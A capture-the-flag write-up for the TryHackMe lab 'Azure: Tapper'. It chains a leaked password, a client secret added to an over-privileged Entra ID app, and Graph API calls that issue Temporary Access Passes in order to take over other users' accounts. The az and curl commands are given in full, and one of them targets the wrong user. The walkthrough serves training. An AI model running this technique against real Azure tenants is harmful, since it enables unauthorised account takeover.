> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2026/azure-tapper.md).

# Azure: Tapper

{% embed url="<https://tryhackme.com/room/tapper>" %}

The following post by 0xb0b is licensed under [CC BY 4.0](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)[​](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)[​](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)​

***

{% hint style="info" %}
2026-05-09: Updated the write-up to bypass the requirements of MFA of gumby
{% endhint %}

## Scenario

In Azure: Tapper we are faced with the following scenario:

> **Lab Scenario**
>
> * During the reconnaissance, you came across a password: `D3l4w4r3R1v3r$#@!`
> * You don't know much about which permissions you have on the Azure Portal.
> * You don't know much about which resources you can access on the Azure Portal.
> * All you have is a compromised password!
> * How far can you go with it?
> * Which attack path(s) can you discover and how will you exploit it?

## Summary

<details>

<summary>Summary</summary>

In Tapper we begin with Azure tenant access and enumerate available resources, identifying a virtual machine without public exposure and three Entra ID users: `goo`, `gumby`, and `pokey`. Reviewing role assignments reveals `goo` as a `Network Contributor` and `pokey` as a `Virtual Machine Data Access Administrator`, while `gumby` owns an over-privileged Entra ID application named `Tapper` with the `UserAuthenticationMethod.ReadWrite.All` permission. Using credentials for `gumby`, we authenticate to the Azure portal, create a new client secret for the Tapper app, and obtain an application access token via Microsoft Graph API. With this token, we generate Temporary Access Passes (TAPs) for other users, allowing passwordless lateral movement first to `goo` and then to `pokey`. As `pokey`, we leverage the assigned data access permissions to query virtual machine metadata, discovering a custom script extension that exposes the flag at `/tmp/flag.txt`.

</details>

## Recon

We open the dashboard of Microsoft Azure and head to `Resource` or `All resources`.

At `All resource` in Microsoft Azure we'll find a VM called `VM1`.

<figure><img src="/files/VQj7d5d8HGc944ilSa1H" alt=""><figcaption></figcaption></figure>

If we click on that resource we can find a username at the `Connect` page in the SSH connection string. But this user seems to be just a place holder, if we checkout the users available. More on that later. Furthermore we won't be able to access the VM, since the network is not properly configured and there is no public IP configured.

<figure><img src="/files/IdNSE3geZkRlVcumMpxv" alt=""><figcaption></figcaption></figure>

If we move to the users section, we are able to identify three users of the tenant:&#x20;

```
Goo
Gumby
Pokey
```

<figure><img src="/files/XaRfOq8fUa3Josr2gXOC" alt=""><figcaption></figcaption></figure>

When checking the Azure role assignment, we'll find that the user `goo` has the role `Network Contributor`. This role allows the user to manage networking resources such as virtual networks, subnets, network interfaces, route tables, network security groups, and load balancers, but does not grant permission to access virtual machines or their operating systems.

{% embed url="<https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles/networking#network-contributor>" %}

> Lets you manage networks, but not access to them. This role does not grant you permission to deploy or manage Virtual Machines.

<figure><img src="/files/k9zVm9JSAfZrij81vJTu" alt=""><figcaption></figcaption></figure>

The user pokey has the Azure role Virtual Machine Data Access Administrator preview. This role allows the user to access and manage data on Azure virtual machines.

{% embed url="<https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles/compute#virtual-machine-data-access-administrator-preview>" %}

> Manage access to Virtual Machines by adding or removing role assignments for the Virtual Machine Administrator Login and Virtual Machine User Login roles. Includes an ABAC condition to constrain role assignments.

<figure><img src="/files/IhKZYE8q7zEQYU7z8Ebi" alt=""><figcaption></figcaption></figure>

Next, we check App Registrations to see if any applications are available. We're looking for an app with over-trusted ownership or permissions, which could allow us to issue a Temporary Access Pass (TAP) for the users available; hinted at by the challenge name, `Azure: Tapper`. We find the Tapper application.

<figure><img src="/files/LIHeN8v4KbjsnA6jvcRd" alt=""><figcaption></figcaption></figure>

At first glance, we can see that client credentials have been created.

<figure><img src="/files/IREPRXA3tiA5sACvQnI2" alt=""><figcaption></figcaption></figure>

And we hit the jackpot right away. The app has the `UserAuthenticationMethod.ReadWrite.All` permission enabled. With that we could theoretically add authentication methods to *any* user, remove authentication methods from *any* user and take over accounts without passwords by issuing  Temporary Access Passes TAPs... if we can authenticate as the application.&#x20;

{% embed url="<https://graphpermissions.merill.net/permission/UserAuthenticationMethod.ReadWrite.All?tabs=apiv1%2CauthenticationMethod1>" %}

<figure><img src="/files/7JrK66lQNdWRRxSF9fne" alt=""><figcaption></figcaption></figure>

Next, we check which user has ownership over the app. In this case it is the user `gumby`. Once we have obtained access as `gumby`, we can add a client secret that we control and use to authenticate as the application, thereby issuing TAPs for other users.

<figure><img src="/files/QKcvq3nHI6TB9k4FL0Sw" alt=""><figcaption></figcaption></figure>

With our current user we cannot add a secret and also can't retrieve the existing one.

<figure><img src="/files/P7dmN7wt7Pt0xOIXIe1O" alt=""><figcaption></figcaption></figure>

## Access as gumby via CLI (no MFA)

We try to log in as `gumby` via CLI using the password from the scenario and are not queried for MFA. We can now proceed with the following idea:&#x20;

> The idea now is to use `gumby` to abuse the over-privileged Entra ID application `Tapper` that has `UserAuthenticationMethod.ReadWrite.All`, allowing us to directly manage authentication methods for users. By generating a Temporary Access Pass (TAP) for other accounts we move laterally and search for the flag.

{% code overflow="wrap" expandable="true" %}

```
az login --username gumby@201618.onmicrosoft.com --allow-no-subscriptions
```

{% endcode %}

<figure><img src="/files/3oW2zN4PnPenHNjiNhjc" alt=""><figcaption></figcaption></figure>

Next, we look for the Tapper app we found previously.

{% code overflow="wrap" expandable="true" %}

```
az ad app list --display-name "Tapper" --query "[].{name:displayName, appId:appId, id:id}"
```

{% endcode %}

<figure><img src="/files/JxKGXx8vh6hfYJfoKPz0" alt=""><figcaption></figcaption></figure>

Now, we add client secret without overwriting the existing one.

{% code overflow="wrap" expandable="true" %}

```
az ad app credential reset \
  --id b126c695-541a-4174-b75d-7df2f1607d4b \
  --append \
  --display-name "0xb0b" \
  --years 1
```

{% endcode %}

<figure><img src="/files/FE5QNnTywQt5vI1JFme6" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
The resulting password is the client secret required to obtain an app-only access token of the `Tapper` application in Access as `pokey`.
{% endhint %}

## Access as gumby via portal.azure.com (MFA)

{% hint style="warning" %}
No need to continue here, if logged in via CLI check Access as `goo` section.
{% endhint %}

In addition to the Azure Portal user, the scenario also provides us with a password described in the scenario itself, which was found during enumeration. From our initial enumeration, we were able to identify three users. We note that the password from the scenario is `gumby`'s.&#x20;

We can log in, but we have to set up Microsoft Authenticator to do so.

```
gumby@201618.onmicrosoft.com
```

<figure><img src="/files/NA3JOEnRZxEdKu2o75aj" alt=""><figcaption></figcaption></figure>

The idea now is to use `gumby` to abuse the over-privileged Entra ID application `Tapper` that has `UserAuthenticationMethod.ReadWrite.All`, allowing us to directly manage authentication methods for users. By generating a Temporary Access Pass (TAP) for other accounts we move laterally and search for the flag.

```
Access with low privileged user
  ↓
Enumerate over-trusted Entra ID app
  ↓
App has UserAuthenticationMethod.ReadWrite.All
  ↓
Compromise owner
  ↓
Create Temporary Access Pass for target user
  ↓
Use TAP to authenticate (passwordless)
  ↓
Find Flag
```

Now that we have access as `gumby`, we return to the Tapper application overview and create a new client secret.&#x20;

<figure><img src="/files/wuHLqbJqb6qpXZ8WmTq9" alt=""><figcaption></figcaption></figure>

## Access as goo

We make a note of the `value` and the `Secret ID`.

<figure><img src="/files/nM7XQI93m20UL4VZ55Vt" alt=""><figcaption></figcaption></figure>

To obtain an app-only access token of the `Tapper` application we can request one with the following command:

{% code overflow="wrap" %}

```
curl -X POST \
  https://login.microsoftonline.com/a5e3d499-5220-48cf-b044-d2502184fd52/oauth2/v2.0/token \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "client_id=b126c695-541a-4174-b75d-7df2f1607d4b" \
  -d "client_secret=REDACTED" \
  -d "grant_type=client_credentials" \
  -d "scope=https://graph.microsoft.com/.default"
```

{% endcode %}

<figure><img src="/files/qPa94CFG1i7C33RxL3Zc" alt=""><figcaption></figcaption></figure>

Next, we verify the access. We save the token to the variable `TOKEN` to make our request more compact.

```
TOKEN=<token>
```

We query the Microsoft Graph API using the provided access token to retrieve a list of users in the tenant, then formats the JSON response in a readable way using `jq`. Unfortunately, we do not have sufficient permission for this.

```
curl -s \
  -H "Authorization: Bearer $TOKEN" \
  https://graph.microsoft.com/v1.0/users | jq
```

<figure><img src="/files/sFqax4UF0JcZJsTdwtqX" alt=""><figcaption></figcaption></figure>

Recalling the users we gathered so far, we try to request the authentcation methods of each.

<figure><img src="/files/ZDlH7yS9S6aMe4DGQ9nO" alt=""><figcaption></figcaption></figure>

We can do this with the following request. We are allowed to retreive the authentication methods like depcited in our enumeration - see `UserAuthenticationMethod.ReadWrite.All`.

{% code overflow="wrap" %}

```
curl -s \
  -H "Authorization: Bearer $TOKEN" \
  https://graph.microsoft.com/v1.0/users/goo@201618.onmicrosoft.com/authentication/methods | jq
```

{% endcode %}

<figure><img src="/files/zz8cYrR5evQbLBYR0cbj" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
curl -s \
  -H "Authorization: Bearer $TOKEN" \
  https://graph.microsoft.com/v1.0/users/pokey@201618.onmicrosoft.com/authentication/methods | jq
```

{% endcode %}

<figure><img src="/files/tXqe4wkGQlUl3YkClI0W" alt=""><figcaption></figcaption></figure>

Next, we try to create a Temporary Access Pass (TAP) for the user `goo`. We note down the `temporaryAccessPass` and can now authenticate as `goo` to the portal.

```
curl -X POST \
  https://graph.microsoft.com/v1.0/users/pokey@201618.onmicrosoft.com/authentication/temporaryAccessPassMethods \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
        "lifetimeInMinutes": 60,
        "isUsableOnce": false
      }'

```

<figure><img src="/files/W80JsajjZdrvyNCaCU5Q" alt=""><figcaption></figcaption></figure>

## Access as pokey

We repeat the same for the user `pokey` and create a Temporary Access Pass (TAP). We note down the `temporaryAccessPass` and can now authenticate as `pokey` to the portal.

```
curl -X POST \
  https://graph.microsoft.com/v1.0/users/pokey@201618.onmicrosoft.com/authentication/temporaryAccessPassMethods \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
        "lifetimeInMinutes": 60,
        "isUsableOnce": false
      }'

```

<figure><img src="/files/1wulgLnqQPEyDzL15kAS" alt=""><figcaption></figcaption></figure>

We log in as `pokey`.

<figure><img src="/files/eBfeSKEhcrM2L8hShuuE" alt=""><figcaption></figcaption></figure>

## Caputure The Flag - Getting VM details

Recalling the role assignments gain, we know `goo` is `Network Contributer` ...

<figure><img src="/files/o6qoZFTWzL7egyeXSRwp" alt=""><figcaption></figcaption></figure>

... and `pokey` has the role assignment `Virtual Machine Data Access Administrator (preview)`.

<figure><img src="/files/De2ajsDFwskAMKJ2qJcE" alt=""><figcaption></figcaption></figure>

If we move back to the `VM1` as `pokey`, we go to the `CLI/PS`.

<figure><img src="/files/VE1vuZwSO4p4WWJ2rtbe" alt=""><figcaption></figcaption></figure>

We are now able to use the `CLI/PS` without modifying the environment and without violating the rules of engagement. Next, we try to get the details of the VM.

<figure><img src="/files/vY6b6NHzMW8IpKzTDDSj" alt=""><figcaption></figcaption></figure>

Here we find a `CustomScriptsExtension` that writes the flag to `/tmp/flag.txt`.

<figure><img src="/files/VZsERikwbc0MDsysDPy6" alt=""><figcaption></figcaption></figure>

{% hint style="danger" %}
Don't forget to remove the authenticator you enabled for `gumby` to make the scenario accessible for other user.
{% endhint %}

Go to the account settings of `gumby` ...

<figure><img src="/files/VTlc3b01Cp3IaZy0hlQZ" alt=""><figcaption></figcaption></figure>

... and remove the authenticator in the security informations tab.

<figure><img src="/files/6Qe14rECqjUIUn1oSt3j" alt=""><figcaption></figcaption></figure>
